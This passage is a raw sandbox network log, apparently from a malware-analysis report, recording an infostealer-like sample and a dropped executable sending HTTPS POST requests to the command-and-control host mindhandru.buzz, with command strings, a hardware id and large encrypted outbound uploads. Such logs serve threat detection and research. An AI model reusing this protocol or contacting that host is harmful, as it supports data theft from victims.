2024-12-27 08:00:08 UTC	15331	OUT	Data Raw: 92 b3 07 31 cf 33 cc 1d 81 bf 04 dd e0 7d 7c 7e dc 0f 39 8c 0f b8 39 a4 33 01 28 4c a9 cf fa 96 a8 d0 e5 6b 33 bd 10 11 c9 e7 8d 8c 62 c1 e5 06 32 24 77 03 bd a4 ae 34 79 9e d4 43 00 47 36 b2 05 6b 44 93 23 1c 94 2b c3 03 12 8c ef 94 46 de 36 1c 74 86 ec 94 e6 b2 db 6c 72 d1 e3 ee 42 4f 63 37 da a1 a8 16 a6 1c f7 8a e8 df a7 1b 07 83 60 4f d8 dd 73 e6 60 7a 6d 69 7d 38 1f 5a 47 c2 3c 24 cd b6 e3 62 14 c7 ed ed 14 7a c4 aa 92 9f 5d b1 69 8e f8 12 f0 4d c4 69 84 32 b1 fe f1 06 fa 90 de f3 53 f1 26 b1 db 77 05 49 2d ba 82 1a 7f 35 f5 32 a4 5d df 37 7e c0 ae cb f0 9b ba dc c4 87 c8 3d 5f a4 47 f8 0e 44 7b c4 12 2f 9b 67 15 82 02 33 7e 93 c0 0b 1c f2 bc e0 61 bb a6 e5 8e 1a e1 1c 85 e9 63 7c c3 bf 5d 65 12 f9 f9 45 58 4f 8f 33 a5 9a 74 17 9e ac 3a e0 c0 06 8e Data Ascii: 13}\|~993(Lk3b2$w4yCG6kD#+F6tlrBOc7`Os`zmi}8ZG<$bz]iMi2S&wI-52]7~=_GD{/g3~ac\|]eEXO3t:
2024-12-27 08:00:08 UTC	15331	OUT	Data Raw: ad 9b c6 9d 16 b2 dd f5 ac 7a 5a a0 d3 49 ed 7a 35 dd ea b4 65 7f b0 97 71 ba 41 9e 50 cd 7d f4 ed 4a 43 c9 7c d5 dd ae bc 6f 8f 18 d3 a2 31 a5 28 d7 64 b5 a7 f6 b3 7e f3 44 4f 36 04 1d 04 fa 34 5d 19 f7 f8 36 9b 94 e3 18 5f cb 0e 2e 26 a8 a4 21 c8 69 fb c5 4c cb 7b 68 be b2 31 4f 04 f3 16 53 27 1e d0 93 75 c7 4e 4e ec d2 42 c3 68 42 88 7e 1b a6 bc 89 9c fd 41 87 f0 6e f3 2a 43 df 3d 4d 8c 17 f5 8e a7 ff 50 34 bc 42 7b 54 ce 5e 1e ec b6 09 91 23 49 1d 20 b8 99 f8 50 e4 e5 64 43 a2 96 de 9a 9e 90 0e d5 b1 6b d5 c5 f3 9f 94 df eb b1 9d a3 d8 da cc 3b ae 27 d9 7e 8f 4e e6 bb a7 68 3e 41 1c 2f 44 a2 21 be 6d ca 89 70 3e 81 55 b9 ae 05 81 dd 35 52 87 5f 72 ca 1f 46 91 a4 50 02 fb fa 9b 88 82 e5 98 db 51 53 a8 97 ee 72 e4 3c be 99 92 7a 2f 94 0e ff 64 49 22 5b Data Ascii: zZIz5eqAP}JC\|o1(d~DO64]6_.&!iL{h1OS'uNNBhB~An*C=MP4B{T^#I PdCk;'~Nh>A/D!mp>U5R_rFPQSr<z/dI"[
2024-12-27 08:00:08 UTC	15331	OUT	Data Raw: 5a 9f dd 83 60 5e f3 11 bd 20 a6 00 92 6d 9d e7 f2 4c 91 a6 3f 01 bd 87 40 7d 07 28 ad 6b 33 16 8c 6b 2c f7 bd 80 b2 1d c7 1d d4 74 ab ef 22 98 66 c1 4d 1a 99 00 52 b5 6b 4f 7e 24 d0 bb f7 35 93 89 08 96 bd fa bf 83 a8 62 c8 52 11 94 49 2c 34 b9 e5 5d 09 50 92 89 de 83 84 fa 32 30 86 dd 80 5e c8 fb 80 06 06 3b c0 ad 48 12 06 4a 3a 37 98 0d 6f bb 56 4d 4d 5c 31 b0 ef 90 59 fc cc c8 8e 85 30 ab 71 55 da fb 20 6d 6e 9b 25 a1 65 0d 35 0d 7f 3b a8 14 9d ab 4b 17 5e 2d 01 ad c6 e8 43 91 83 91 0a e8 77 0c 1d 21 80 58 04 82 2d aa 8b b6 54 f4 59 d7 43 e4 82 43 a9 14 7b af f5 2e 05 9a e2 da a9 15 b5 73 7d 51 e9 2b 72 1b 5c 20 10 a5 c5 cf 91 17 2e 5d 00 13 c8 c4 72 9e f4 08 82 eb c1 56 6b 71 92 af d3 f0 02 52 fc 97 5a e8 8c 77 2b 22 b3 9f 34 0a 34 03 b8 f7 2d c8 15 Data Ascii: Z`^ mL?@}(k3k,t"fMRkO~$5bRI,4]P20^;HJ:7oVMM\1Y0qU mn%e5;K^-Cw!X-TYCC{.s}Q+r\ .]rVkqRZw+"44-
2024-12-27 08:00:08 UTC	15331	OUT	Data Raw: 7b 99 8e 52 e4 fb 4f 1a 68 30 28 12 33 c5 b4 a6 05 a9 12 55 a2 12 97 2f 09 c7 57 20 64 96 27 4c c9 b3 b2 5a 0f 67 1b 0d dc 2d cd be 3d 88 b8 de 99 56 98 7b 32 e6 87 47 c1 f6 5e cf 69 87 dc ca 1b 4c 1c 3d 48 e4 0c 70 dc 86 95 1c cb 7a 10 4a 17 77 cc ad 3a 0d 7f 6e 95 18 63 93 d4 58 b5 62 79 dd a1 2a 34 14 73 e3 0c ee 3f 8b ea 8f bc 0c 72 12 d2 4b 72 30 48 75 fc 62 a5 83 2b 64 bc c0 2c e5 3d d0 c7 98 d8 78 e4 cc 59 c1 7f df a0 2b 8d 7d 71 c8 de 8b 27 d9 3a 31 4d 9a 52 fd e5 5d 64 20 e4 53 4f 6f 41 fe 92 65 d5 cd 6e 9b a9 16 59 c5 2d 49 23 af 9a e7 58 9a 4f 71 db 66 b5 23 45 77 c5 5e 30 2e 4a d9 4c 4c 9c bd d9 7d cd 0a 4e 4d 03 bf 92 f2 92 2a 65 17 63 a1 ac a0 39 27 f8 b3 ad da 32 7f 08 7b 5b 10 2d 3c c5 80 14 d7 49 8e e8 c5 1b 34 2b 2c 5e 72 70 8d 8c f9 b7 Data Ascii: {ROh0(3U/W d'LZg-=V{2G^iL=HpzJw:ncXby4s?rKr0Hub+d,=xY+}q':1MR]d SOoAenY-I#XOqf#Ew^0.JLL}NMec9'2{[-<I4+,^rp
2024-12-27 08:00:08 UTC	15331	OUT	Data Raw: 4d 2e 0e 22 4d 71 87 75 55 33 a2 03 6b 0c c3 1a 7e 21 0b e4 a7 02 5d f4 c7 fe a8 9f dc a3 dd 56 74 fe 6b 6e da 4a e1 82 38 01 fc 72 68 ad 45 43 9c 00 a7 f8 8c 2c 45 e9 a0 64 97 32 94 f6 38 d0 db d9 a5 49 a0 69 71 b2 bb 08 8f 7f 5b 8d f4 7d 45 52 05 bf 21 a5 cd 08 58 ea b4 b5 f0 dc 3c 1d 9c a2 02 1b 5a 21 30 f2 9d 68 41 34 ab 93 2a 5b 7a 1b 20 4d 01 2d db 41 14 60 2f 15 64 f3 d6 b5 13 09 40 76 b3 92 f7 48 8d 02 ae d7 7b df a9 a0 2f b3 fd 58 1c 48 79 14 1e d2 f4 28 fc 12 60 66 ed 06 0f 65 99 da 45 b2 ff 73 9a ca 20 03 90 9f e4 19 27 2d e8 62 0a a8 07 9e 9c 0f d5 79 a6 94 73 79 eb 19 9d c2 6f 52 65 ba d7 68 a1 fa f6 8d 22 ac f7 91 30 7e f6 f5 ff cc 05 31 70 67 e9 9f 00 06 32 a2 ff 2b c8 6c c1 d5 f0 df 21 68 98 53 01 36 b0 70 a7 b8 c1 75 e0 70 76 ab 04 2a b2 Data Ascii: M."MquU3k~!]VtknJ8rhEC,Ed28Iiq[}ER!X<Z!0hA4[z M-A`/d@vH{/XHy(`feEs '-bysyoReh"0~1pg2+l!hS6pupv
2024-12-27 08:00:08 UTC	15331	OUT	Data Raw: 88 51 08 90 e6 c5 81 e8 ae 8c 41 0b 0c 5c 59 0c 90 60 f0 d6 47 10 8b 81 43 6b ab b5 00 8e de 15 a9 c8 14 ba da 0f 6c 33 5d ac 2b 01 e9 51 34 5c a1 8c 8e be 3c 29 c5 3e a0 75 db 20 e7 eb 4f bc 0f 36 66 14 eb 7e b4 30 7a 73 8f d5 3d 3e 2b 40 f6 3c 4b 16 1e 17 5f ff 7c 1e f6 72 f3 de 48 dd 48 55 4b cc 37 31 46 aa bc 72 c2 a4 74 ea ca ea 21 b2 8b b5 20 90 e3 bf 2e 30 ad c6 54 c3 47 9d a7 78 a9 17 a3 72 d5 6d 87 94 d3 c2 55 11 4b 80 95 ee 38 b0 45 07 1d 0e a8 20 a4 bb cb bf 45 7c 69 63 df 6a 22 dc 5a 81 c4 b6 39 74 3c ad ad f5 cf 83 73 d4 28 ea d1 96 6e e5 7b 33 6f ea c4 28 84 0a 5c 89 06 e6 67 ad 98 17 66 25 df 7c 37 07 66 e0 1c d9 f9 6f 4f a4 72 28 47 cd 4f fb 61 f7 ec 3f e8 57 e6 cf e6 e3 1f 01 e3 de 58 1a 1a 1f 85 9b 2a 94 f1 80 44 9b 71 2f ec 0a 9f b4 72 Data Ascii: QA\Y`GCkl3]+Q4\<)>u O6f~0zs=>+@<K_\|rHHUK71Frt! .0TGxrmUK8E E\|icj"Z9t<s(n{3o(\gf%\|7foOr(GOa?WX*Dq/r
2024-12-27 08:00:08 UTC	15331	OUT	Data Raw: cc cd f4 07 28 6b e9 5c c9 f1 e6 a0 d5 73 b9 ed a7 08 ff 74 6c 7c 6a 21 04 63 aa 27 e1 11 a2 2a 4b 08 b4 3a 27 f1 5a 7e 24 04 ba ef e0 35 6f 4b f7 9e e7 a6 b3 ec bc e1 9f 72 1f 9a 88 6e d1 e8 9b 33 42 48 8b b1 a5 04 af 9e db a3 0c 29 3f 6c 64 84 67 ec b5 9e 52 16 36 93 d8 58 0a c7 30 8c 3e a5 82 34 5a 8a a6 89 df ea 63 07 fb 4e c9 b5 73 a0 10 74 d7 43 ad 4a d0 f5 90 bb ca cc ac 64 de 4f 57 af d6 ea 63 8f 1c 90 b8 a3 20 2d c5 9f 8c 61 1c 6e f1 f5 e6 77 7f b3 ca 68 5f ef 36 2b 8c 10 14 d0 00 95 1d 47 31 7f 5c 15 ac 46 5e 64 78 92 a5 04 e5 c2 0d 43 c5 4d ee af ef d1 85 80 03 3a ec e3 71 ca 91 ab 0f 22 1e 60 71 e9 59 ae c7 c2 42 53 3a f4 e8 99 81 df ff ca ee de 08 fc 5b ef 98 d3 99 bf 19 07 f6 0f 39 37 67 ad 94 7e 6d 5a 59 ce d9 73 a7 2e 7a 81 f7 d7 84 73 fd Data Ascii: (k\stl\|j!c'*K:'Z~$5oKrn3BH)?ldgR6X0>4ZcNstCJdOWc -anwh_6+G1\F^dxCM:q"`qYBS:[97g~mZYs.zs
2024-12-27 08:00:08 UTC	15331	OUT	Data Raw: 8e 25 39 9a 29 97 08 62 be e0 8b b5 ed 3b ef 9c 63 5a 7c 41 8a 68 12 bc 47 5d 5d 93 22 15 a0 3d 63 93 ae d4 9c 19 cc f9 d2 eb 3e bb f1 e9 5c f4 80 50 71 84 04 f1 4a 38 6e 54 ff ff f5 23 c8 65 70 2f 28 d6 28 ba 19 51 f5 b8 14 19 05 3b 21 0a 86 f9 cd 8b 0e b4 67 07 e4 13 ea 21 d6 ca 39 68 ed f9 3b 9f a3 bf 09 41 1a b8 03 50 33 a9 ed e6 a8 fa 24 5e f3 67 4e 79 d8 d1 0c 31 83 eb ff 3e f0 0f fa e2 e2 bf 76 3b 74 28 83 9c 72 60 35 b7 0b d5 9c 77 a7 f7 e5 64 4b f0 98 f1 61 ad b0 86 fa 9d 13 af 96 20 d6 4d c3 10 0c 63 34 3c bc 05 94 ad 65 fd 90 06 33 d1 ff e7 38 0f e5 c5 82 45 3b 88 7a c3 14 66 e5 f1 79 61 c4 0e 41 fe 95 c4 11 5b 1d f0 3a 2a 19 1a c4 69 e7 2a 3f 60 88 a1 7a bf a6 22 55 21 ff d5 be 18 b3 78 66 d0 af 23 cd 92 c0 f2 ab 51 59 c6 01 88 b9 6c 67 41 94 Data Ascii: %9)b;cZ\|AhG]]"=c>\PqJ8nT#ep/((Q;!g!9h;AP3$^gNy1>v;t(r`5wdKa Mc4<e38E;zfyaA[:i?`z"U!xf#QYlgA
2024-12-27 08:00:08 UTC	15331	OUT	Data Raw: 77 bd 0b 5b 9f e8 83 a8 a1 20 23 75 90 61 21 dd 77 b7 57 ab cf 92 1a e6 e6 c7 7f 6c 29 ee ec 46 b1 df 2c ae 81 12 97 6c 40 4f 3b 9d 11 e6 86 84 7e f4 96 9d c9 82 f7 97 ce 3d 33 38 f1 ee 2b 5a f9 f2 8f 54 1d e9 3f 06 ff e6 1c cf 60 ce 5a f7 e5 7b 8b 9a b2 d4 77 f7 33 53 b3 23 c5 e3 a6 1f e9 ec e0 5b e7 74 71 8e 54 9e 09 ac 7c a6 0c 66 d4 d0 f1 f7 0e ac 65 27 39 ef ac 34 fa 69 4b 3e ee c4 ea f9 50 fc e9 12 d2 75 1d 78 be 19 9a ac 14 7f 28 0f 7a 3f 41 1e 68 be 8e d8 52 ea 9a 99 71 f6 6d 31 53 6f 85 92 39 ba a7 99 e3 5d 24 4d 8c f8 bc 70 d1 23 4b e8 57 9b 18 98 a2 f6 55 94 99 73 5f 99 3e 3c 73 be 08 9d 98 0f c8 7b ca 79 49 c4 2c 40 d0 23 55 41 a1 5e 36 73 09 3b 80 e3 90 d2 7a 82 8a 75 6b d2 7b 3f b5 45 40 d9 67 7a e2 85 1e 20 b0 ca d4 02 38 fd ca 43 cc ba 27 Data Ascii: w[ #ua!wWl)F,l@O;~=38+ZT?`Z{w3S#[tqT\|fe'94iK>Pux(z?AhRqm1So9]$Mp#KWUs_><s{yI,@#UA^6s;zuk{?E@gz 8C'
2024-12-27 08:00:12 UTC	1143	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:00:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gvkk7qsj2dpkp326od63ff7t0g; expires=Tue, 22 Apr 2025 01:46:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eGayRrg746wj3EvSMbolT%2BZ3YBXW1ztrHzjg5%2Fehn%2FHiLqqU6NkNgLSGl3waR3wfFVP1eb08J%2FoTQCa2W44dRsji69W%2BMOQt5wfbmbJ8XaoG9Pzry%2Bx%2FJry9ufvrx%2BtDs0M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87c6761db24349-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=68815&min_rtt=60859&rtt_var=28505&sent=362&recv=598&lost=0&retrans=0&sent_bytes=2836&recv_bytes=573207&delivery_rate=47979&cwnd=227&unsent_bytes=0&cid=72216662ec22d6be&ts=3355&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49742	172.67.165.185	443	6968	C:\Users\user\Desktop\LIWYEYWSOj.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:00:13 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: mindhandru.buzz
2024-12-27 08:00:13 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 44 39 33 32 46 44 41 33 37 41 45 30 38 37 31 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=D932FDA37AE08717BEBA0C6A975F1733
2024-12-27 08:00:14 UTC	1121	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:00:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h4a9mm8l4j2hpdftdmvgmo0mrs; expires=Tue, 22 Apr 2025 01:46:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bZc8e1fjd2dnFFqCGfYE5VMjZrJZNltfBRqjJUpIiTHiLmN%2BhXAkoiRSarzsYZqHsso74LLXxVKJwCMAL96ZBLW92scie%2BzYQ3l1Xt9L2vieIYBboIjUdw0bCI89Z6RoTjc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87c695ee597271-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1784&min_rtt=1778&rtt_var=680&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=981&delivery_rate=1593016&cwnd=225&unsent_bytes=0&cid=81af94d84664e0c8&ts=891&x=0"
2024-12-27 08:00:14 UTC	222	IN	Data Raw: 64 38 0d 0a 57 61 6e 31 37 4f 30 55 76 76 63 4e 4a 51 4d 61 31 4a 66 63 33 75 44 6d 78 72 47 30 74 5a 46 61 73 32 74 4d 6f 5a 6a 46 49 61 63 43 30 74 65 5a 7a 79 36 63 6e 33 6c 52 63 79 43 49 75 49 44 78 30 64 37 7a 6e 34 61 45 70 48 53 43 57 6e 2b 50 71 66 4e 39 69 43 72 64 6b 49 32 41 53 4a 47 46 62 45 74 6e 64 62 6d 35 75 61 61 46 78 4f 71 54 30 73 47 7a 59 49 4e 48 62 73 53 36 2f 78 48 61 64 64 4c 58 6d 63 38 75 6e 4a 39 35 55 58 4d 67 69 4c 69 41 38 64 48 65 38 35 2b 47 68 4b 52 30 67 6c 70 2f 6a 36 6e 7a 66 59 67 30 77 4a 75 4a 73 54 76 4d 6c 6d 4e 42 62 48 66 36 38 71 53 37 77 73 72 6b 31 38 43 58 71 32 71 66 53 53 6d 44 6f 76 56 63 2b 67 3d 3d 0d 0a Data Ascii: d8Wan17O0UvvcNJQMa1Jfc3uDmxrG0tZFas2tMoZjFIacC0teZzy6cn3lRcyCIuIDx0d7zn4aEpHSCWn+PqfN9iCrdkI2ASJGFbEtndbm5uaaFxOqT0sGzYINHbsS6/xHaddLXmc8unJ95UXMgiLiA8dHe85+GhKR0glp/j6nzfYg0wJuJsTvMlmNBbHf68qS7wsrk18CXq2qfSSmDovVc+g==
2024-12-27 08:00:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49806	172.67.165.185	443	1344	C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:01:20 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: mindhandru.buzz
2024-12-27 08:01:20 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 08:01:20 UTC	1130	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:01:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vbcugff38tn3f94skqo0ekfrg3; expires=Tue, 22 Apr 2025 01:47:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a54uZkYv3zTPGhPdTGKR1zEmkd92YgJOmQM4OuSKjo%2FDmqZPA4DycC9PDY60as5ES%2FYTZuOWhShsi%2FK79I1LDmuULtzD%2B%2BFZhbtZZYY%2BvQEovakRWZWmM4yxvtFvXi9EPyY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87c8351d42de92-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1545&min_rtt=1543&rtt_var=584&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=906&delivery_rate=1867007&cwnd=245&unsent_bytes=0&cid=2b0bbce5d08908c4&ts=1016&x=0"
2024-12-27 08:01:20 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 08:01:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49813	172.67.165.185	443	1344	C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:01:22 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: mindhandru.buzz
2024-12-27 08:01:22 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-27 08:01:22 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:01:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jok2cgv5bncassie7c6p94c4te; expires=Tue, 22 Apr 2025 01:48:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HC6tt0YZDtYD4Up7Tc8lD5ii8Jm2nyUsHVhWLRxD1I6AlYxCqAUtTz2NcHJojV98k7xD%2BT5osdrl3MRH2sbN%2FeOG5iNr7%2FrWqgQ6jDqGGaIKj%2B0%2BEHfBKAXzm0d52Yjr5Ns%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87c842da0e7292-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1870&min_rtt=1868&rtt_var=706&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=952&delivery_rate=1544973&cwnd=252&unsent_bytes=0&cid=b6308f0b5de7a60e&ts=799&x=0"
2024-12-27 08:01:22 UTC	242	IN	Data Raw: 31 63 61 61 0d 0a 56 33 4a 6c 71 6c 5a 50 4c 4e 66 45 78 39 41 4d 76 63 52 64 77 79 75 52 44 31 42 2f 61 66 44 41 46 76 56 35 55 2f 72 4d 45 65 6f 73 55 42 4f 49 62 48 73 41 39 62 65 69 38 6a 62 4a 74 69 69 6d 42 37 4e 75 4e 46 31 54 6c 71 46 36 68 68 78 2f 32 4c 70 38 79 47 30 55 42 4d 59 6c 4b 67 44 31 6f 62 2f 79 4e 75 61 2f 66 36 5a 46 73 7a 56 79 47 67 4f 53 6f 58 71 58 47 44 69 56 76 48 32 4a 50 78 34 43 77 6a 4d 73 53 4c 61 6f 71 72 56 70 32 4b 55 33 72 55 4c 38 5a 7a 31 64 52 64 4b 6c 62 4e 64 44 63 62 65 70 5a 59 73 61 45 78 62 42 64 44 49 41 72 4f 61 69 76 69 36 48 35 6a 79 6d 53 66 31 70 4e 42 51 42 6d 4b 68 79 6c 68 30 35 69 71 56 33 67 6a 38 51 41 63 4d 35 4a 56 79 37 6f 71 32 2b 62 39 4b 6c 66 2b 38 4a Data Ascii: 1caaV3JlqlZPLNfEx9AMvcRdwyuRD1B/afDAFvV5U/rMEeosUBOIbHsA9bei8jbJtiimB7NuNF1TlqF6hhx/2Lp8yG0UBMYlKgD1ob/yNua/f6ZFszVyGgOSoXqXGDiVvH2JPx4CwjMsSLaoqrVp2KU3rUL8Zz1dRdKlbNdDcbepZYsaExbBdDIArOaivi6H5jymSf1pNBQBmKhylh05iqV3gj8QAcM5JVy7oq2+b9Klf+8J
2024-12-27 08:01:22 UTC	1369	IN	Data Raw: 39 48 56 79 52 55 76 42 6b 48 65 47 43 69 53 56 76 6e 58 49 4b 6c 34 65 69 44 4d 68 44 75 33 6d 72 62 35 67 32 71 55 77 70 6b 6a 7a 66 7a 30 64 43 4a 71 71 63 4a 30 55 50 70 65 67 65 59 38 39 47 51 44 48 4d 79 56 49 75 71 58 6c 2f 43 37 59 76 6e 2f 35 43 64 4e 39 4d 52 34 66 6e 37 4d 30 69 46 55 6f 32 4b 6c 2f 79 47 31 51 41 63 59 31 49 45 36 6e 72 71 36 35 61 38 32 74 4e 71 78 45 38 32 41 34 45 67 69 53 70 58 36 64 46 44 75 63 6f 33 36 4f 4e 52 42 48 68 6e 51 71 56 76 58 2b 35 5a 46 72 7a 36 45 7a 74 77 76 4a 4c 53 31 54 45 74 4b 6c 65 4e 64 44 63 5a 43 72 63 49 73 2b 48 77 54 41 50 7a 39 4f 70 36 43 6f 74 33 7a 5a 6f 7a 47 72 53 75 46 6e 50 42 73 49 6d 36 6c 39 6b 68 77 31 32 4f 41 7a 6a 79 31 51 58 34 67 56 49 45 57 35 72 4c 4b 79 4c 73 44 6f 4a 75 46 Data Ascii: 9HVyRUvBkHeGCiSVvnXIKl4eiDMhDu3mrb5g2qUwpkjzfz0dCJqqcJ0UPpegeY89GQDHMyVIuqXl/C7Yvn/5CdN9MR4fn7M0iFUo2Kl/yG1QAcY1IE6nrq65a82tNqxE82A4EgiSpX6dFDuco36ONRBHhnQqVvX+5ZFrz6EztwvJLS1TEtKleNdDcZCrcIs+HwTAPz9Op6Cot3zZozGrSuFnPBsIm6l9khw12OAzjy1QX4gVIEW5rLKyLsDoJuF
2024-12-27 08:01:22 UTC	1369	IN	Data Raw: 42 73 45 6e 36 34 30 32 56 73 32 67 4f 34 72 79 42 38 54 45 38 73 2b 62 33 75 32 71 4b 75 31 65 4a 2b 35 63 62 67 4a 39 47 46 79 52 55 75 66 6f 33 79 52 43 54 36 56 72 58 32 47 4f 68 55 49 77 44 51 74 51 37 43 69 72 72 6c 74 30 71 49 74 71 30 6e 37 61 44 4d 58 41 64 4c 73 4e 4a 41 44 63 63 44 75 51 70 38 2b 55 6a 4c 4c 4f 69 4e 4a 6f 2b 61 36 2f 48 65 66 6f 54 50 68 45 62 4e 67 4f 68 67 4f 6e 61 4e 2b 6d 52 34 37 6c 4b 5a 39 69 79 63 66 41 38 67 34 4a 55 53 34 71 4b 47 36 5a 39 53 74 4f 61 46 49 2b 53 31 38 58 51 79 4b 34 69 7a 58 4c 7a 61 55 6f 33 7a 4b 41 42 4d 4a 78 6a 4d 37 44 71 72 6f 76 50 4a 70 30 2b 5a 6e 34 55 58 36 62 54 6b 58 44 35 4b 6c 65 5a 49 59 4e 70 75 6a 64 49 49 37 46 77 50 45 50 53 42 49 74 61 47 68 74 33 7a 61 72 7a 4f 74 43 62 30 74 Data Ascii: BsEn6402Vs2gO4ryB8TE8s+b3u2qKu1eJ+5cbgJ9GFyRUufo3yRCT6VrX2GOhUIwDQtQ7Cirrlt0qItq0n7aDMXAdLsNJADccDuQp8+UjLLOiNJo+a6/HefoTPhEbNgOhgOnaN+mR47lKZ9iycfA8g4JUS4qKG6Z9StOaFI+S18XQyK4izXLzaUo3zKABMJxjM7DqrovPJp0+Zn4UX6bTkXD5KleZIYNpujdII7FwPEPSBItaGht3zarzOtCb0t
